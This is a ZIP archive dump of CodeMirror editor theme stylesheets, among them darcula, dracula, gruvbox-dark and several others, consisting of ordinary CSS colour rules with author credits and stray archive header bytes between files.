.cm-s-cobalt span.cm-bracket { color: #d8d8d8; }
.cm-s-cobalt span.cm-builtin, .cm-s-cobalt span.cm-special { color:
#ff9e59; }
.cm-s-cobalt span.cm-link { color: #845dc4; }
.cm-s-cobalt span.cm-error { color: #9d1e15; }

.cm-s-cobalt .CodeMirror-activeline-background { background: #002D57; }
.cm-s-cobalt .CodeMirror-matchingbracket { outline:1px solid
grey;color:white !important; }
PKP��[{�N͍�codemirror/theme/colorforth.cssnu�[���.cm-s-colorforth.CodeMirror
{ background: #000000; color: #f8f8f8; }
.cm-s-colorforth .CodeMirror-gutters { background: #0a001f; border-right:
1px solid #aaa; }
.cm-s-colorforth .CodeMirror-guttermarker { color: #FFBD40; }
.cm-s-colorforth .CodeMirror-guttermarker-subtle { color: #78846f; }
.cm-s-colorforth .CodeMirror-linenumber { color: #bababa; }
.cm-s-colorforth .CodeMirror-cursor { border-left: 1px solid white; }

.cm-s-colorforth span.cm-comment     { color: #ededed; }
.cm-s-colorforth span.cm-def         { color: #ff1c1c; font-weight:bold; }
.cm-s-colorforth span.cm-keyword     { color: #ffd900; }
.cm-s-colorforth span.cm-builtin     { color: #00d95a; }
.cm-s-colorforth span.cm-variable    { color: #73ff00; }
.cm-s-colorforth span.cm-string      { color: #007bff; }
.cm-s-colorforth span.cm-number      { color: #00c4ff; }
.cm-s-colorforth span.cm-atom        { color: #606060; }

.cm-s-colorforth span.cm-variable-2  { color: #EEE; }
.cm-s-colorforth span.cm-variable-3, .cm-s-colorforth span.cm-type { color:
#DDD; }
.cm-s-colorforth span.cm-property    {}
.cm-s-colorforth span.cm-operator    {}

.cm-s-colorforth span.cm-meta        { color: yellow; }
.cm-s-colorforth span.cm-qualifier   { color: #FFF700; }
.cm-s-colorforth span.cm-bracket     { color: #cc7; }
.cm-s-colorforth span.cm-tag         { color: #FFBD40; }
.cm-s-colorforth span.cm-attribute   { color: #FFF700; }
.cm-s-colorforth span.cm-error       { color: #f00; }

.cm-s-colorforth div.CodeMirror-selected { background: #333d53; }

.cm-s-colorforth span.cm-compilation { background: rgba(255, 255, 255,
0.12); }

.cm-s-colorforth .CodeMirror-activeline-background { background: #253540; }
PKP��[do�~
~
codemirror/theme/darcula.cssnu�[���/**
    Name: IntelliJ IDEA darcula theme
    From IntelliJ IDEA by JetBrains
 */

.cm-s-darcula  { font-family: Consolas, Menlo, Monaco, 'Lucida
Console', 'Liberation Mono', 'DejaVu Sans Mono',
'Bitstream Vera Sans Mono', 'Courier New', monospace,
serif;}
.cm-s-darcula.CodeMirror { background: #2B2B2B; color: #A9B7C6; }

.cm-s-darcula span.cm-meta { color: #BBB529; }
.cm-s-darcula span.cm-number { color: #6897BB; }
.cm-s-darcula span.cm-keyword { color: #CC7832; line-height: 1em;
font-weight: bold; }
.cm-s-darcula span.cm-def { color: #A9B7C6; font-style: italic; }
.cm-s-darcula span.cm-variable { color: #A9B7C6; }
.cm-s-darcula span.cm-variable-2 { color: #A9B7C6; }
.cm-s-darcula span.cm-variable-3 { color: #9876AA; }
.cm-s-darcula span.cm-type { color: #AABBCC; font-weight: bold; }
.cm-s-darcula span.cm-property { color: #FFC66D; }
.cm-s-darcula span.cm-operator { color: #A9B7C6; }
.cm-s-darcula span.cm-string { color: #6A8759; }
.cm-s-darcula span.cm-string-2 { color: #6A8759; }
.cm-s-darcula span.cm-comment { color: #61A151; font-style: italic; }
.cm-s-darcula span.cm-link { color: #CC7832; }
.cm-s-darcula span.cm-atom { color: #CC7832; }
.cm-s-darcula span.cm-error { color: #BC3F3C; }
.cm-s-darcula span.cm-tag { color: #629755; font-weight: bold; font-style:
italic; text-decoration: underline; }
.cm-s-darcula span.cm-attribute { color: #6897bb; }
.cm-s-darcula span.cm-qualifier { color: #6A8759; }
.cm-s-darcula span.cm-bracket { color: #A9B7C6; }
.cm-s-darcula span.cm-builtin { color: #FF9E59; }
.cm-s-darcula span.cm-special { color: #FF9E59; }
.cm-s-darcula span.cm-matchhighlight { color: #FFFFFF; background-color:
rgba(50, 89, 48, .7); font-weight: normal;}
.cm-s-darcula span.cm-searching { color: #FFFFFF; background-color:
rgba(61, 115, 59, .7); font-weight: normal;}

.cm-s-darcula .CodeMirror-cursor { border-left: 1px solid #A9B7C6; }
.cm-s-darcula .CodeMirror-activeline-background { background: #323232; }
.cm-s-darcula .CodeMirror-gutters { background: #313335; border-right: 1px
solid #313335; }
.cm-s-darcula .CodeMirror-guttermarker { color: #FFEE80; }
.cm-s-darcula .CodeMirror-guttermarker-subtle { color: #D0D0D0; }
.cm-s-darcula .CodeMirrir-linenumber { color: #606366; }
.cm-s-darcula .CodeMirror-matchingbracket { background-color: #3B514D;
color: #FFEF28 !important; font-weight: bold; }

.cm-s-darcula div.CodeMirror-selected { background: #214283; }

.CodeMirror-hints.darcula {
  font-family: Menlo, Monaco, Consolas, 'Courier New', monospace;
  color: #9C9E9E;
  background-color: #3B3E3F !important;
}

.CodeMirror-hints.darcula .CodeMirror-hint-active {
  background-color: #494D4E !important;
  color: #9C9E9E !important;
}
PKP��[.��codemirror/theme/dracula.cssnu�[���/*

    Name:       dracula
    Author:     Michael Kaminsky (http://github.com/mkaminsky11)

    Original dracula color scheme by Zeno Rocha
(https://github.com/zenorocha/dracula-theme)

*/


.cm-s-dracula.CodeMirror, .cm-s-dracula .CodeMirror-gutters {
  background-color: #282a36 !important;
  color: #f8f8f2 !important;
  border: none;
}
.cm-s-dracula .CodeMirror-gutters { color: #282a36; }
.cm-s-dracula .CodeMirror-cursor { border-left: solid thin #f8f8f0; }
.cm-s-dracula .CodeMirror-linenumber { color: #6D8A88; }
.cm-s-dracula .CodeMirror-selected { background: rgba(255, 255, 255, 0.10);
}
.cm-s-dracula .CodeMirror-line::selection, .cm-s-dracula .CodeMirror-line
> span::selection, .cm-s-dracula .CodeMirror-line > span >
span::selection { background: rgba(255, 255, 255, 0.10); }
.cm-s-dracula .CodeMirror-line::-moz-selection, .cm-s-dracula
.CodeMirror-line > span::-moz-selection, .cm-s-dracula .CodeMirror-line
> span > span::-moz-selection { background: rgba(255, 255, 255,
0.10); }
.cm-s-dracula span.cm-comment { color: #6272a4; }
.cm-s-dracula span.cm-string, .cm-s-dracula span.cm-string-2 { color:
#f1fa8c; }
.cm-s-dracula span.cm-number { color: #bd93f9; }
.cm-s-dracula span.cm-variable { color: #50fa7b; }
.cm-s-dracula span.cm-variable-2 { color: white; }
.cm-s-dracula span.cm-def { color: #50fa7b; }
.cm-s-dracula span.cm-operator { color: #ff79c6; }
.cm-s-dracula span.cm-keyword { color: #ff79c6; }
.cm-s-dracula span.cm-atom { color: #bd93f9; }
.cm-s-dracula span.cm-meta { color: #f8f8f2; }
.cm-s-dracula span.cm-tag { color: #ff79c6; }
.cm-s-dracula span.cm-attribute { color: #50fa7b; }
.cm-s-dracula span.cm-qualifier { color: #50fa7b; }
.cm-s-dracula span.cm-property { color: #66d9ef; }
.cm-s-dracula span.cm-builtin { color: #50fa7b; }
.cm-s-dracula span.cm-variable-3, .cm-s-dracula span.cm-type { color:
#ffb86c; }

.cm-s-dracula .CodeMirror-activeline-background { background:
rgba(255,255,255,0.1); }
.cm-s-dracula .CodeMirror-matchingbracket { text-decoration: underline;
color: white !important; }
PKP��[f`�6
6
!codemirror/theme/duotone-dark.cssnu�[���/*
Name:   DuoTone-Dark
Author: by Bram de Haan, adapted from DuoTone themes by Simurai
(http://simurai.com/projects/2016/01/01/duotone-themes)

CodeMirror template by Jan T. Sott (https://github.com/idleberg), adapted
by Bram de Haan (https://github.com/atelierbram/)
*/

.cm-s-duotone-dark.CodeMirror { background: #2a2734; color: #6c6783; }
.cm-s-duotone-dark div.CodeMirror-selected { background: #545167!important;
}
.cm-s-duotone-dark .CodeMirror-gutters { background: #2a2734; border-right:
0px; }
.cm-s-duotone-dark .CodeMirror-linenumber { color: #545167; }

/* begin cursor */
.cm-s-duotone-dark .CodeMirror-cursor { border-left: 1px solid #ffad5c; /*
border-left: 1px solid #ffad5c80; */ border-right: .5em solid #ffad5c; /*
border-right: .5em solid #ffad5c80; */ opacity: .5; }
.cm-s-duotone-dark .CodeMirror-activeline-background { background: #363342;
/* background: #36334280;  */ opacity: .5;}
.cm-s-duotone-dark .cm-fat-cursor .CodeMirror-cursor { background: #ffad5c;
/* background: #ffad5c80; */ opacity: .5;}
/* end cursor */

.cm-s-duotone-dark span.cm-atom, .cm-s-duotone-dark span.cm-number,
.cm-s-duotone-dark span.cm-keyword, .cm-s-duotone-dark span.cm-variable,
.cm-s-duotone-dark span.cm-attribute, .cm-s-duotone-dark span.cm-quote,
.cm-s-duotone-dark span.cm-hr, .cm-s-duotone-dark span.cm-link { color:
#ffcc99; }

.cm-s-duotone-dark span.cm-property { color: #9a86fd; }
.cm-s-duotone-dark span.cm-punctuation, .cm-s-duotone-dark span.cm-unit,
.cm-s-duotone-dark span.cm-negative { color: #e09142; }
.cm-s-duotone-dark span.cm-string { color: #ffb870; }
.cm-s-duotone-dark span.cm-operator { color: #ffad5c; }
.cm-s-duotone-dark span.cm-positive { color: #6a51e6; }

.cm-s-duotone-dark span.cm-variable-2, .cm-s-duotone-dark
span.cm-variable-3, .cm-s-duotone-dark span.cm-type, .cm-s-duotone-dark
span.cm-string-2, .cm-s-duotone-dark span.cm-url { color: #7a63ee; }
.cm-s-duotone-dark span.cm-def, .cm-s-duotone-dark span.cm-tag,
.cm-s-duotone-dark span.cm-builtin, .cm-s-duotone-dark span.cm-qualifier,
.cm-s-duotone-dark span.cm-header, .cm-s-duotone-dark span.cm-em { color:
#eeebff; }
.cm-s-duotone-dark span.cm-bracket, .cm-s-duotone-dark span.cm-comment {
color: #6c6783; }

/* using #f00 red for errors, don't think any of the colorscheme
variables will stand out enough, ... maybe by giving it a background-color
... */
.cm-s-duotone-dark span.cm-error, .cm-s-duotone-dark span.cm-invalidchar {
color: #f00; }

.cm-s-duotone-dark span.cm-header { font-weight: normal; }
.cm-s-duotone-dark .CodeMirror-matchingbracket { text-decoration:
underline; color: #eeebff !important; } 
PKP��[x�Q˟
�
"codemirror/theme/duotone-light.cssnu�[���/*
Name:   DuoTone-Light
Author: by Bram de Haan, adapted from DuoTone themes by Simurai
(http://simurai.com/projects/2016/01/01/duotone-themes)

CodeMirror template by Jan T. Sott (https://github.com/idleberg), adapted
by Bram de Haan (https://github.com/atelierbram/)
*/

.cm-s-duotone-light.CodeMirror { background: #faf8f5; color: #b29762; }
.cm-s-duotone-light div.CodeMirror-selected { background: #e3dcce
!important; }
.cm-s-duotone-light .CodeMirror-gutters { background: #faf8f5;
border-right: 0px; }
.cm-s-duotone-light .CodeMirror-linenumber { color: #cdc4b1; }

/* begin cursor */
.cm-s-duotone-light .CodeMirror-cursor { border-left: 1px solid #93abdc; /*
border-left: 1px solid #93abdc80; */ border-right: .5em solid #93abdc; /*
border-right: .5em solid #93abdc80; */ opacity: .5; }
.cm-s-duotone-light .CodeMirror-activeline-background { background:
#e3dcce;  /* background: #e3dcce80; */ opacity: .5; }
.cm-s-duotone-light .cm-fat-cursor .CodeMirror-cursor { background:
#93abdc; /* #93abdc80; */ opacity: .5; }
/* end cursor */

.cm-s-duotone-light span.cm-atom, .cm-s-duotone-light span.cm-number,
.cm-s-duotone-light span.cm-keyword, .cm-s-duotone-light span.cm-variable,
.cm-s-duotone-light span.cm-attribute, .cm-s-duotone-light span.cm-quote,
.cm-s-duotone-light-light span.cm-hr, .cm-s-duotone-light-light
span.cm-link { color: #063289; }

.cm-s-duotone-light span.cm-property { color: #b29762; }
.cm-s-duotone-light span.cm-punctuation, .cm-s-duotone-light span.cm-unit,
.cm-s-duotone-light span.cm-negative { color: #063289; }
.cm-s-duotone-light span.cm-string, .cm-s-duotone-light span.cm-operator {
color: #1659df; }
.cm-s-duotone-light span.cm-positive { color: #896724; }

.cm-s-duotone-light span.cm-variable-2, .cm-s-duotone-light
span.cm-variable-3, .cm-s-duotone-light span.cm-type, .cm-s-duotone-light
span.cm-string-2, .cm-s-duotone-light span.cm-url { color: #896724; }
.cm-s-duotone-light span.cm-def, .cm-s-duotone-light span.cm-tag,
.cm-s-duotone-light span.cm-builtin, .cm-s-duotone-light span.cm-qualifier,
.cm-s-duotone-light span.cm-header, .cm-s-duotone-light span.cm-em { color:
#2d2006; }
.cm-s-duotone-light span.cm-bracket, .cm-s-duotone-light span.cm-comment {
color: #b6ad9a; }

/* using #f00 red for errors, don't think any of the colorscheme
variables will stand out enough, ... maybe by giving it a background-color
... */
/* .cm-s-duotone-light span.cm-error { background: #896724; color: #728fcb;
} */
.cm-s-duotone-light span.cm-error, .cm-s-duotone-light span.cm-invalidchar
{ color: #f00; }

.cm-s-duotone-light span.cm-header { font-weight: normal; }
.cm-s-duotone-light .CodeMirror-matchingbracket { text-decoration:
underline; color: #faf8f5 !important; }

PKP��[��<��codemirror/theme/eclipse.cssnu�[���.cm-s-eclipse
span.cm-meta { color: #FF1717; }
.cm-s-eclipse span.cm-keyword { line-height: 1em; font-weight: bold; color:
#7F0055; }
.cm-s-eclipse span.cm-atom { color: #219; }
.cm-s-eclipse span.cm-number { color: #164; }
.cm-s-eclipse span.cm-def { color: #00f; }
.cm-s-eclipse span.cm-variable { color: black; }
.cm-s-eclipse span.cm-variable-2 { color: #0000C0; }
.cm-s-eclipse span.cm-variable-3, .cm-s-eclipse span.cm-type { color:
#0000C0; }
.cm-s-eclipse span.cm-property { color: black; }
.cm-s-eclipse span.cm-operator { color: black; }
.cm-s-eclipse span.cm-comment { color: #3F7F5F; }
.cm-s-eclipse span.cm-string { color: #2A00FF; }
.cm-s-eclipse span.cm-string-2 { color: #f50; }
.cm-s-eclipse span.cm-qualifier { color: #555; }
.cm-s-eclipse span.cm-builtin { color: #30a; }
.cm-s-eclipse span.cm-bracket { color: #cc7; }
.cm-s-eclipse span.cm-tag { color: #170; }
.cm-s-eclipse span.cm-attribute { color: #00c; }
.cm-s-eclipse span.cm-link { color: #219; }
.cm-s-eclipse span.cm-error { color: #f00; }

.cm-s-eclipse .CodeMirror-activeline-background { background: #e8f2ff; }
.cm-s-eclipse .CodeMirror-matchingbracket { outline:1px solid grey;
color:black !important; }
PKP��[�V��

codemirror/theme/elegant.cssnu�[���.cm-s-elegant
span.cm-number, .cm-s-elegant span.cm-string, .cm-s-elegant span.cm-atom {
color: #762; }
.cm-s-elegant span.cm-comment { color: #262; font-style: italic;
line-height: 1em; }
.cm-s-elegant span.cm-meta { color: #555; font-style: italic; line-height:
1em; }
.cm-s-elegant span.cm-variable { color: black; }
.cm-s-elegant span.cm-variable-2 { color: #b11; }
.cm-s-elegant span.cm-qualifier { color: #555; }
.cm-s-elegant span.cm-keyword { color: #730; }
.cm-s-elegant span.cm-builtin { color: #30a; }
.cm-s-elegant span.cm-link { color: #762; }
.cm-s-elegant span.cm-error { background-color: #fdd; }

.cm-s-elegant .CodeMirror-activeline-background { background: #e8f2ff; }
.cm-s-elegant .CodeMirror-matchingbracket { outline:1px solid grey;
color:black !important; }
PKP��[��
���
codemirror/theme/erlang-dark.cssnu�[���.cm-s-erlang-dark.CodeMirror
{ background: #002240; color: white; }
.cm-s-erlang-dark div.CodeMirror-selected { background: #b36539; }
.cm-s-erlang-dark .CodeMirror-line::selection, .cm-s-erlang-dark
.CodeMirror-line > span::selection, .cm-s-erlang-dark .CodeMirror-line
> span > span::selection { background: rgba(179, 101, 57, .99); }
.cm-s-erlang-dark .CodeMirror-line::-moz-selection, .cm-s-erlang-dark
.CodeMirror-line > span::-moz-selection, .cm-s-erlang-dark
.CodeMirror-line > span > span::-moz-selection { background:
rgba(179, 101, 57, .99); }
.cm-s-erlang-dark .CodeMirror-gutters { background: #002240; border-right:
1px solid #aaa; }
.cm-s-erlang-dark .CodeMirror-guttermarker { color: white; }
.cm-s-erlang-dark .CodeMirror-guttermarker-subtle { color: #d0d0d0; }
.cm-s-erlang-dark .CodeMirror-linenumber { color: #d0d0d0; }
.cm-s-erlang-dark .CodeMirror-cursor { border-left: 1px solid white; }

.cm-s-erlang-dark span.cm-quote      { color: #ccc; }
.cm-s-erlang-dark span.cm-atom       { color: #f133f1; }
.cm-s-erlang-dark span.cm-attribute  { color: #ff80e1; }
.cm-s-erlang-dark span.cm-bracket    { color: #ff9d00; }
.cm-s-erlang-dark span.cm-builtin    { color: #eaa; }
.cm-s-erlang-dark span.cm-comment    { color: #77f; }
.cm-s-erlang-dark span.cm-def        { color: #e7a; }
.cm-s-erlang-dark span.cm-keyword    { color: #ffee80; }
.cm-s-erlang-dark span.cm-meta       { color: #50fefe; }
.cm-s-erlang-dark span.cm-number     { color: #ffd0d0; }
.cm-s-erlang-dark span.cm-operator   { color: #d55; }
.cm-s-erlang-dark span.cm-property   { color: #ccc; }
.cm-s-erlang-dark span.cm-qualifier  { color: #ccc; }
.cm-s-erlang-dark span.cm-special    { color: #ffbbbb; }
.cm-s-erlang-dark span.cm-string     { color: #3ad900; }
.cm-s-erlang-dark span.cm-string-2   { color: #ccc; }
.cm-s-erlang-dark span.cm-tag        { color: #9effff; }
.cm-s-erlang-dark span.cm-variable   { color: #50fe50; }
.cm-s-erlang-dark span.cm-variable-2 { color: #e0e; }
.cm-s-erlang-dark span.cm-variable-3, .cm-s-erlang-dark span.cm-type {
color: #ccc; }
.cm-s-erlang-dark span.cm-error      { color: #9d1e15; }

.cm-s-erlang-dark .CodeMirror-activeline-background { background: #013461;
}
.cm-s-erlang-dark .CodeMirror-matchingbracket { outline:1px solid grey;
color:white !important; }
PKP��[��~���!codemirror/theme/gruvbox-dark.cssnu�[���/*

    Name:       gruvbox-dark
    Author:     kRkk (https://github.com/krkk)

    Original gruvbox color scheme by Pavel Pertsev
(https://github.com/morhetz/gruvbox)

*/

.cm-s-gruvbox-dark.CodeMirror, .cm-s-gruvbox-dark .CodeMirror-gutters {
background-color: #282828; color: #bdae93; }
.cm-s-gruvbox-dark .CodeMirror-gutters {background: #282828; border-right:
0px;}
.cm-s-gruvbox-dark .CodeMirror-linenumber {color: #7c6f64;}
.cm-s-gruvbox-dark .CodeMirror-cursor { border-left: 1px solid #ebdbb2; }
.cm-s-gruvbox-dark div.CodeMirror-selected { background: #928374; }
.cm-s-gruvbox-dark span.cm-meta { color: #83a598; }

.cm-s-gruvbox-dark span.cm-comment { color: #928374; }
.cm-s-gruvbox-dark span.cm-number, span.cm-atom { color: #d3869b; }
.cm-s-gruvbox-dark span.cm-keyword { color: #f84934; }

.cm-s-gruvbox-dark span.cm-variable { color: #ebdbb2; }
.cm-s-gruvbox-dark span.cm-variable-2 { color: #ebdbb2; }
.cm-s-gruvbox-dark span.cm-variable-3, .cm-s-gruvbox-dark span.cm-type {
color: #fabd2f; }
.cm-s-gruvbox-dark span.cm-operator { color: #ebdbb2; }
.cm-s-gruvbox-dark span.cm-callee { color: #ebdbb2; }
.cm-s-gruvbox-dark span.cm-def { color: #ebdbb2; }
.cm-s-gruvbox-dark span.cm-property { color: #ebdbb2; }
.cm-s-gruvbox-dark span.cm-string { color: #b8bb26; }
.cm-s-gruvbox-dark span.cm-string-2 { color: #8ec07c; }
.cm-s-gruvbox-dark span.cm-qualifier { color: #8ec07c; }
.cm-s-gruvbox-dark span.cm-attribute { color: #8ec07c; }

.cm-s-gruvbox-dark .CodeMirror-activeline-background { background: #3c3836;
}
.cm-s-gruvbox-dark .CodeMirror-matchingbracket { background: #928374;
color:#282828 !important; }

.cm-s-gruvbox-dark span.cm-builtin { color: #fe8019; }
.cm-s-gruvbox-dark span.cm-tag { color: #fe8019; }
PKP��[}�h��codemirror/theme/hopscotch.cssnu�[���/*

    Name:       Hopscotch
    Author:     Jan T. Sott

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-hopscotch.CodeMirror {background: #322931; color: #d5d3d5;}
.cm-s-hopscotch div.CodeMirror-selected {background: #433b42 !important;}
.cm-s-hopscotch .CodeMirror-gutters {background: #322931; border-right:
0px;}
.cm-s-hopscotch .CodeMirror-linenumber {color: #797379;}
.cm-s-hopscotch .CodeMirror-cursor {border-left: 1px solid #989498
!important;}

.cm-s-hopscotch span.cm-comment {color: #b33508;}
.cm-s-hopscotch span.cm-atom {color: #c85e7c;}
.cm-s-hopscotch span.cm-number {color: #c85e7c;}

.cm-s-hopscotch span.cm-property, .cm-s-hopscotch span.cm-attribute {color:
#8fc13e;}
.cm-s-hopscotch span.cm-keyword {color: #dd464c;}
.cm-s-hopscotch span.cm-string {color: #fdcc59;}

.cm-s-hopscotch span.cm-variable {color: #8fc13e;}
.cm-s-hopscotch span.cm-variable-2 {color: #1290bf;}
.cm-s-hopscotch span.cm-def {color: #fd8b19;}
.cm-s-hopscotch span.cm-error {background: #dd464c; color: #989498;}
.cm-s-hopscotch span.cm-bracket {color: #d5d3d5;}
.cm-s-hopscotch span.cm-tag {color: #dd464c;}
.cm-s-hopscotch span.cm-link {color: #c85e7c;}

.cm-s-hopscotch .CodeMirror-matchingbracket { text-decoration: underline;
color: white !important;}
.cm-s-hopscotch .CodeMirror-activeline-background { background: #302020; }
PKP��[��3r�	�	codemirror/theme/icecoder.cssnu�[���/*
ICEcoder default theme by Matt Pass, used in code editor available at
https://icecoder.net
*/

.cm-s-icecoder { color: #666; background: #1d1d1b; }

.cm-s-icecoder span.cm-keyword { color: #eee; font-weight:bold; }  /*
off-white 1 */
.cm-s-icecoder span.cm-atom { color: #e1c76e; }                    /*
yellow */
.cm-s-icecoder span.cm-number { color: #6cb5d9; }                  /* blue
*/
.cm-s-icecoder span.cm-def { color: #b9ca4a; }                     /* green
*/

.cm-s-icecoder span.cm-variable { color: #6cb5d9; }                /* blue
*/
.cm-s-icecoder span.cm-variable-2 { color: #cc1e5c; }              /* pink
*/
.cm-s-icecoder span.cm-variable-3, .cm-s-icecoder span.cm-type { color:
#f9602c; } /* orange */

.cm-s-icecoder span.cm-property { color: #eee; }                   /*
off-white 1 */
.cm-s-icecoder span.cm-operator { color: #9179bb; }                /*
purple */
.cm-s-icecoder span.cm-comment { color: #97a3aa; }                 /*
grey-blue */

.cm-s-icecoder span.cm-string { color: #b9ca4a; }                  /* green
*/
.cm-s-icecoder span.cm-string-2 { color: #6cb5d9; }                /* blue
*/

.cm-s-icecoder span.cm-meta { color: #555; }                       /* grey
*/

.cm-s-icecoder span.cm-qualifier { color: #555; }                  /* grey
*/
.cm-s-icecoder span.cm-builtin { color: #214e7b; }                 /*
bright blue */
.cm-s-icecoder span.cm-bracket { color: #cc7; }                    /*
grey-yellow */

.cm-s-icecoder span.cm-tag { color: #e8e8e8; }                     /*
off-white 2 */
.cm-s-icecoder span.cm-attribute { color: #099; }                  /* teal
*/

.cm-s-icecoder span.cm-header { color: #6a0d6a; }                  /*
purple-pink */
.cm-s-icecoder span.cm-quote { color: #186718; }                   /* dark
green */
.cm-s-icecoder span.cm-hr { color: #888; }                         /*
mid-grey */
.cm-s-icecoder span.cm-link { color: #e1c76e; }                    /*
yellow */
.cm-s-icecoder span.cm-error { color: #d00; }                      /* red
*/

.cm-s-icecoder .CodeMirror-cursor { border-left: 1px solid white; }
.cm-s-icecoder div.CodeMirror-selected { color: #fff; background: #037; }
.cm-s-icecoder .CodeMirror-gutters { background: #1d1d1b; min-width: 41px;
border-right: 0; }
.cm-s-icecoder .CodeMirror-linenumber { color: #555; cursor: default; }
.cm-s-icecoder .CodeMirror-matchingbracket { color: #fff !important;
background: #555 !important; }
.cm-s-icecoder .CodeMirror-activeline-background { background: #000; }
PKP��[��b��codemirror/theme/idea.cssnu�[���/**
    Name:       IDEA default theme
    From IntelliJ IDEA by JetBrains
 */

.cm-s-idea span.cm-meta { color: #808000; }
.cm-s-idea span.cm-number { color: #0000FF; }
.cm-s-idea span.cm-keyword { line-height: 1em; font-weight: bold; color:
#000080; }
.cm-s-idea span.cm-atom { font-weight: bold; color: #000080; }
.cm-s-idea span.cm-def { color: #000000; }
.cm-s-idea span.cm-variable { color: black; }
.cm-s-idea span.cm-variable-2 { color: black; }
.cm-s-idea span.cm-variable-3, .cm-s-idea span.cm-type { color: black; }
.cm-s-idea span.cm-property { color: black; }
.cm-s-idea span.cm-operator { color: black; }
.cm-s-idea span.cm-comment { color: #808080; }
.cm-s-idea span.cm-string { color: #008000; }
.cm-s-idea span.cm-string-2 { color: #008000; }
.cm-s-idea span.cm-qualifier { color: #555; }
.cm-s-idea span.cm-error { color: #FF0000; }
.cm-s-idea span.cm-attribute { color: #0000FF; }
.cm-s-idea span.cm-tag { color: #000080; }
.cm-s-idea span.cm-link { color: #0000FF; }
.cm-s-idea .CodeMirror-activeline-background { background: #FFFAE3; }

.cm-s-idea span.cm-builtin { color: #30a; }
.cm-s-idea span.cm-bracket { color: #cc7; }
.cm-s-idea  { font-family: Consolas, Menlo, Monaco, Lucida Console,
Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New,
monospace, serif;}


.cm-s-idea .CodeMirror-matchingbracket { outline:1px solid grey;
color:black !important; }

.CodeMirror-hints.idea {
  font-family: Menlo, Monaco, Consolas, 'Courier New', monospace;
  color: #616569;
  background-color: #ebf3fd !important;
}

.CodeMirror-hints.idea .CodeMirror-hint-active {
  background-color: #a2b8c9 !important;
  color: #5c6065 !important;
}PKP��[�T9
��codemirror/theme/isotope.cssnu�[���/*

    Name:       Isotope
    Author:     David Desandro / Jan T. Sott

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-isotope.CodeMirror {background: #000000; color: #e0e0e0;}
.cm-s-isotope div.CodeMirror-selected {background: #404040 !important;}
.cm-s-isotope .CodeMirror-gutters {background: #000000; border-right: 0px;}
.cm-s-isotope .CodeMirror-linenumber {color: #808080;}
.cm-s-isotope .CodeMirror-cursor {border-left: 1px solid #c0c0c0
!important;}

.cm-s-isotope span.cm-comment {color: #3300ff;}
.cm-s-isotope span.cm-atom {color: #cc00ff;}
.cm-s-isotope span.cm-number {color: #cc00ff;}

.cm-s-isotope span.cm-property, .cm-s-isotope span.cm-attribute {color:
#33ff00;}
.cm-s-isotope span.cm-keyword {color: #ff0000;}
.cm-s-isotope span.cm-string {color: #ff0099;}

.cm-s-isotope span.cm-variable {color: #33ff00;}
.cm-s-isotope span.cm-variable-2 {color: #0066ff;}
.cm-s-isotope span.cm-def {color: #ff9900;}
.cm-s-isotope span.cm-error {background: #ff0000; color: #c0c0c0;}
.cm-s-isotope span.cm-bracket {color: #e0e0e0;}
.cm-s-isotope span.cm-tag {color: #ff0000;}
.cm-s-isotope span.cm-link {color: #cc00ff;}

.cm-s-isotope .CodeMirror-matchingbracket { text-decoration: underline;
color: white !important;}
.cm-s-isotope .CodeMirror-activeline-background { background: #202020; }
PKP��[��M
M
 codemirror/theme/lesser-dark.cssnu�[���/*
http://lesscss.org/ dark theme
Ported to CodeMirror by Peter Kroon
*/
.cm-s-lesser-dark {
  line-height: 1.3em;
}
.cm-s-lesser-dark.CodeMirror { background: #262626; color: #EBEFE7;
text-shadow: 0 -1px 1px #262626; }
.cm-s-lesser-dark div.CodeMirror-selected { background: #45443B; } /*
33322B*/
.cm-s-lesser-dark .CodeMirror-line::selection, .cm-s-lesser-dark
.CodeMirror-line > span::selection, .cm-s-lesser-dark .CodeMirror-line
> span > span::selection { background: rgba(69, 68, 59, .99); }
.cm-s-lesser-dark .CodeMirror-line::-moz-selection, .cm-s-lesser-dark
.CodeMirror-line > span::-moz-selection, .cm-s-lesser-dark
.CodeMirror-line > span > span::-moz-selection { background: rgba(69,
68, 59, .99); }
.cm-s-lesser-dark .CodeMirror-cursor { border-left: 1px solid white; }
.cm-s-lesser-dark pre { padding: 0 8px; }/*editable code holder*/

.cm-s-lesser-dark.CodeMirror span.CodeMirror-matchingbracket { color:
#7EFC7E; }/*65FC65*/

.cm-s-lesser-dark .CodeMirror-gutters { background: #262626;
border-right:1px solid #aaa; }
.cm-s-lesser-dark .CodeMirror-guttermarker { color: #599eff; }
.cm-s-lesser-dark .CodeMirror-guttermarker-subtle { color: #777; }
.cm-s-lesser-dark .CodeMirror-linenumber { color: #777; }

.cm-s-lesser-dark span.cm-header { color: #a0a; }
.cm-s-lesser-dark span.cm-quote { color: #090; }
.cm-s-lesser-dark span.cm-keyword { color: #599eff; }
.cm-s-lesser-dark span.cm-atom { color: #C2B470; }
.cm-s-lesser-dark span.cm-number { color: #B35E4D; }
.cm-s-lesser-dark span.cm-def { color: white; }
.cm-s-lesser-dark span.cm-variable { color:#D9BF8C; }
.cm-s-lesser-dark span.cm-variable-2 { color: #669199; }
.cm-s-lesser-dark span.cm-variable-3, .cm-s-lesser-dark span.cm-type {
color: white; }
.cm-s-lesser-dark span.cm-property { color: #92A75C; }
.cm-s-lesser-dark span.cm-operator { color: #92A75C; }
.cm-s-lesser-dark span.cm-comment { color: #666; }
.cm-s-lesser-dark span.cm-string { color: #BCD279; }
.cm-s-lesser-dark span.cm-string-2 { color: #f50; }
.cm-s-lesser-dark span.cm-meta { color: #738C73; }
.cm-s-lesser-dark span.cm-qualifier { color: #555; }
.cm-s-lesser-dark span.cm-builtin { color: #ff9e59; }
.cm-s-lesser-dark span.cm-bracket { color: #EBEFE7; }
.cm-s-lesser-dark span.cm-tag { color: #669199; }
.cm-s-lesser-dark span.cm-attribute { color: #81a4d5; }
.cm-s-lesser-dark span.cm-hr { color: #999; }
.cm-s-lesser-dark span.cm-link { color: #7070E6; }
.cm-s-lesser-dark span.cm-error { color: #9d1e15; }

.cm-s-lesser-dark .CodeMirror-activeline-background { background: #3C3A3A;
}
.cm-s-lesser-dark .CodeMirror-matchingbracket { outline:1px solid grey;
color:white !important; }
